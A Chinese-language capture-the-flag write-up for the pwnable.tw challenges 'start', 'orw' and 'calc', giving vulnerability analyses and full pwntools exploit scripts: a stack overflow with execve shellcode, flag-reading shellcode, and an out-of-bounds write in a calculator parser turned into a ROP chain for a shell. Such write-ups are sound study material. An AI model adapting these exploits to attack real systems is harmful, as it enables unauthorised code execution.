最近在刷pwnable.tw。。。
1.start
例行检查
没有开NX保护
用ida打开
只有start和exit函数,通过系统调用来调用函数,系统调用好保存在eax中,在执行完4号write系统调用和3号read系统调用后返回地址处是exit函数,可以看到即将执行ret时,esp指向地址的下一个地址是一个栈上的地址
可以将其覆盖为mov ecx,esp
,再重新执行write系统调用,就可以泄露出栈地址,再输入shellcode跳转到shellcode即可
exp:
from pwn import *
r = 1
context(arch = 'i386', os = 'linux')
if r == 1 :
p = remote('chall.pwnable.tw',10000)
else:
p = process('./start')
mov = 0x08048087
#gdb.attach(p,'b *0x804809c')
p.recvuntil('Let\'s start the CTF:')
p.send(b'a'*0x14+p32(mov))
stack = p.recv(4)
stack = u32(stack)
print(hex(stack))
'''
mov ebx,0xffffffff
xor edx,edx
xor ecx,ecx
mov al,11
int 0x80
'''
pd = b'\xbb'+p32(stack-4+0x14+4)+b'1\xd21\xc9\xb0\x0b\xcd\x80'
pd += b'a'*(0x14-len(pd))+p32(stack-4)+b'/bin///sh\x00'
p.sendline(pd)
p.interactive()
2.orw
例行检查
ida反汇编
根据题目提示只能使用open,read,write
在kali上不管输入什么都是段错误,用ubuntu16可以正常写入shellcode
在shellcode后面
exp:
from pwn import *
r = 1
context(arch = 'i386', os = 'linux')
bss = 0x0804A040
if r == 1 :
p = remote('chall.pwnable.tw',10001)
else:
p = process('./orw')
#gdb.attach(p,'b *0x804858a')
p.recvuntil('shellcode:')
#fd = open('/home/orw/flag',0)
s = '''
xor edx,edx;
mov ecx,0;
mov ebx,0x804a094;
mov eax,5;
int 0x80;
'''
#read(fd,0x804a094,0x20)
s += '''
mov edx,0x40;
mov ecx,ebx;
mov ebx,eax;
mov eax,3;
int 0x80;
'''
#write(1,0x804a094,0x20)
s += '''
mov edx,0x40;
mov ebx,1;
mov eax,4
int 0x80;
'''
pd = asm(s)+b'/home/orw/flag\x00'
p.send(pd)
print p.recv()
p.interactive()
3.calc
没做出来,看其他师傅的wp复现(深刻发现自己的代码审计有多菜,,不是见过的套路题就很难找到洞
比想象中难,看了其他师傅的博客找到漏洞点后,要完成利用还想了好久
例行检查
ida看伪代码
跟进calc函数
这里的bzero函数看不懂,但是根据调试和函数名称可以猜到其功能是将这段s往后0x400字节区域清零
可以看到一个小细节:int类型v1的下一个地址就是v2数组
然后是get_expr函数,第二个参数是v1的地址
获取输入,除了”+-*/%”和数字以外都过滤掉,存放在a1中
然后是init_pool函数,也是清零的作用
然后是最主要的parse_expr函数
a1数组是过滤后的输入的内容,每次循环i都是a1数组上符号的下标,v5则指向每个数字的第一个数字字符
这个函数的逻辑大概是
if ( (unsigned int)(*(char *)(i + a1) - 0x30) > 9 )
{
v2 = i + a1 - v5;
s1 = (char *)malloc(v2 + 1);
memcpy(s1, v5, v2);
s1[v2] = 0;
if ( !strcmp(s1, "0") )
{
puts("prevent division by zero");
fflush(stdout);
return 0;
}
v9 = atoi(s1);
if ( v9 > 0 )
{
v4 = (*a2)++;
a2[v4 + 1] = v9;
}
if ( *(_BYTE *)(i + a1) && (unsigned int)(*(char *)(i + 1 + a1) - 48) > 9 )
{
puts("expression error!");
fflush(stdout);
return 0;
}
v5 = i + 1 + a1;
从左边开始将数字和运算符分开,数字字符串放在s1指向的堆空间中,然后用atoi函数变为整数存放在a2数组中,a2数组第一位保存的是此时数组中的数字总数,运算符保存在s数组中
回想在调用parse_expr函数的时候
a2数组,其实就是作为参数的v1,也就是说,从calc函数来看,这个函数就是用v2数组保存即将计算的(或者计算后的)数字,用v1储存v2数组中的元素个数
接下来是
if ( s[v7] )
{
switch ( *(char *)(i + a1) )
{
case '%':
case '*':
case '/':
if ( s[v7] != '+' && s[v7] != '-' )
{
eval(a2, s[v7]);
s[v7] = *(_BYTE *)(i + a1);
}
else
{
s[++v7] = *(_BYTE *)(i + a1);
}
break;
case '+':
case '-':
eval(a2, s[v7]);
s[v7] = *(_BYTE *)(i + a1);
break;
default:
eval(a2, s[v7--]);
break;
}
}
else
{
s[v7] = *(_BYTE *)(i + a1);
}
if ( !*(_BYTE *)(i + a1) )
break;
- s数组中已经保存过运算符时,
- 如果 保存在s数组中的运算符 比 现在刚遍历到的、以i为下标的运算符 优先级高或两个运算符相等的话,则直接将 s数组中的运算符 与此时a2数组中的最后一个数字和倒数第二个数字用eval函数运算(此时这两个数字应该正好是s数组中的这个运算符的左边的数字与右边的数字,计算后保留在倒数第二的位置)再将此时遍历到的运算符存到s数组中
- 如果 保存在s数组中的运算符 比 现在刚遍历到的、以i为下标的运算符 优先级低的话,则将 现在刚遍历到的、以i为下标的运算符保存到数组中继续循环,待下次循环时计算
- s数组中没有保存过运算符时,则将 现在刚遍历到的、以i为下标的运算符 存到s数组中
eval函数
比如输入”100 + 200 * 300 + 400”
第一次循环会先将+保存到s[0]中,100、200保存到a2[1]和a2[2]中,此时a2[0]为2
第二次循环发现 * 优先级比 + 高,则继续保存 * 到s[1],300保存到a2[2],此时a2[0]为3
第三次循环会先计算 “a2[1] s[1] a2[2]”,也就是”200 * 300”,再保存’+’和400,循环后a2[] = {3, 100, 60000,400},s[] = {‘+’,’+’}
第四次循环计算60000 + 400
第五次循环计算100 + 60400
实现一个正常计算器的功能
而回到calc函数中时
v2数组中只有最后运算完成的结果,v1保存1,代表只有一个数字,然后将其打印出来
漏洞分析
由于parse_expr函数中的a2[0]其实就是calc函数中的v1[0],所以此处都用v1[0]表示
如果输入运算符开头的字符串如”+100+100”,
第一次循环的eval函数中运算会将v1[0]的值从1修改为1+100-1=100,然后在第二次循环中
v9 = atoi(s1);//v9 = 100
if ( v9 > 0 )
{
v4 = (*a2)++;
a2[v4 + 1] = v9;
}
处会将v1[100+1]修改为100,可以造成栈上v1地址之后的任意地址写
parse_expr函数则会将保存数字个数的v1[0]当作第一个需要计算的数字,最后计算结果保存在v1[0]中,后面的printf函数会打印v1[0]的内容
在main函数中可以看到,调用calc的下一个指令地址,也就是calc函数的返回地址是0x08049499
查看在调用parse_expr函数前的栈空间
ebp之后接着的就是返回地址,而v1的位置是$ebp-5A0h
,只要输入”+360+N”( (360 + 1) * 4 = 1444 = 0x5A4),就能将返回地址的值修改为N
最后思路就是泄露栈地址后将字符串”/bin/sh”写在栈上,通过ROPgadget找到合适的gadget,rop调用execve("/bin/sh", 0, 0)
拿到shell
但是有两个问题
- 写在栈上的”/bin/sh”,虽然可以计算偏移拿到地址,但是栈上的的地址都超过了int类型可以表示的最大正数:
0x7fffffff
- 程序不能写入0,如果
+0
的话不会写入对应偏移的内存中 - 在输入”+N+M”进行运算的时候,进行的是
v1[N] += v1[N+1]
的运算,将M保存在v1[N+1]中,将结果保存在v1[N]中,也就是说操作一块四字节的保存整数的内存会影响它的上一块内存(让上一块内存的数据加上该块内存的数据)
后来我的解决方案是
- 我先对 应该保存sh地址的内存 进行赋值,让这块内存为
0x7fffffff
,再操作下一块内存,赋值下一块内存为sh的地址 - 0x7fffffff
,这样 应该保存sh地址的内存 就会加上这个数值,也就等于了sh的地址
- 可以看到上图中,栈中数据有一个地方是连续两个四字节内存都是0的,所以我用很多
ret
gadget不断抬栈,让pop_edx_ecx_ebx
gadget紧贴着两个0,就能将edx和ecx置零 - 除了写入sh地址的时候以外,其他操作都从高地址往低地址进行,这样最后修改返回地址的时候会影响到ebp,但是对执行
execve("/bin/sh", 0, 0)
并没有什么影响
exp:
from pwn import *
context.log_level = 'debug'
r = 1
context(arch = 'i386', os = 'linux')
bss = 0x0804A040
if r == 1 :
s = remote('chall.pwnable.tw',10100)
else:
s = process('./calc')
#gadget
pop_eax=0x805c34b
pop_edx_ecx_ebx=0x80701d0
int_80=0x8049a21
pop_ebx=0x080481d1
ret=0x080481ba
add_esp=0x080915e8
s.sendlineafter("===\n","+360")
ebp = int(s.recvline()) & 0xffffffff
print("ebp:"+hex(ebp))
#最后的栈上的结构
pd1=[pop_eax,11,ret,ret,ret,ret,add_esp,0x6e69622f,0x0068732f,ret,ret,pop_edx_ecx_ebx]
#0, 0, X
pd2=[pop_ebx,ebp,int_80]
#栈上pd2的布置
#2147483647 = 0x7fffffff
s.sendline("+376+"+str(2147483647))
recv = int(s.recvline()) & 0xffffffff
print(hex(int(recv)))
s.sendline("+377+"+str(ebp-0x7fffffff))
recv = int(s.recvline()) & 0xffffffff
print(hex(int(recv)))
s.sendline("+378")
recv = int(s.recvline()) & 0xffffffff
print("aaa"+hex(int(recv)))
s.sendline("+378-"+str(recv-int_80))
s.sendline("+375+"+str(pop_ebx))
#栈上pd1的布置
for i in range(0,12):
s.sendline("+"+str(360+11-i)+"+"+str(pd1[11-i]))
s.sendline()
s.interactive()